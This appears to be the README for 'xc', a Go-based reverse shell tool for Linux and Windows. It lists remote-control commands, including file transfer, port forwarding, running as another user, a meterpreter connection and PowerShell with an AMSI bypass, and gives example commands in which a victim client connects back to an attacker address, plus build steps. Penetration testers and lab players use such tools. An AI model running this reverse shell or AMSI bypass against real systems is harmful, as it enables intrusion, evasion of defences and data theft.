XC - A Small Reverse Shell For Linux And Windows

Netcat like reverse shell for Linux & Windows.

Features

Windows

Usage:
└ Shared Commands:  !exit
  !upload <src> <dst>
   * uploads a file to the target
  !download <src> <dst>
   * downloads a file from the target
  !lfwd <localport> <remoteaddr> <remoteport>
   * local portforwarding (like ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * remote portforwarding (like ssh -R)
  !lsfwd
   * lists active forwards
  !rmfwd <index>
   * removes forward by index
  !plugins
   * lists available plugins
  !plugin <plugin>
   * execute a plugin
  !spawn <port>
   * spawns another client on the specified port
  !shell
   * runs /bin/sh
  !runas <username> <password> <domain>
   * restart xc with the specified user
  !met <port>
   * connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
  !powe   rshell
    * starts powershell with AMSI Bypass
  !rc <port>
    * connects to a local bind shell and restarts this client over it
  !runasps <username> <password> <domain>
    * restart xc with the specified user using powershell
  !vulns
    * checks for common vulnerabilities

Linux

Usage:
└ Shared Commands:  !exit
  !upload <src> <dst>
   * uploads a file to the target
  !download <src> <dst>
   * downloads a file from the target
  !lfwd <localport> <remoteaddr> <remoteport>
   * local portforwarding (like ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * remote portforwarding (like ssh -R)
  !lsfwd
   * lists active forwards
  !rmfwd <index>
   * removes forward by index
  !plugins
   * lists available plugins
  !plugin <plugin>
   * execute a plugin
  !spawn <port>
   * spawns another client on the specified port
  !shell
   * runs /bin/sh
  !runas <username> <password> <domain>
   * restart xc with the specified user
  !met <port>
   * connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
 !ssh <   port>
   * starts sshd with the configured keys on the specified port

Examples

Linux Attacker: rlwrap xc -l -p 1337 (Server)
WindowsVictim : xc.exe 10.10.14.4 1337 (Client)
Argumentless: xc_10.10.14.4_1337.exe (Client)

Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: go version go1.16.2 linux/amd64 and kali go version go1.15.9 linux/amd64

git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

Linux:

python3 build.py

Known Issues

When !lfwd fails due to lack of permissions (missing sudo), the entry in !lsfwd is still created
Can't Ctrl+C out of powershell started from !shell
!net (execute-assembly) fails after using it a few times - for now you can !restart and it might work again
Tested:
- Kali (Attacker) Win 10 (Victim)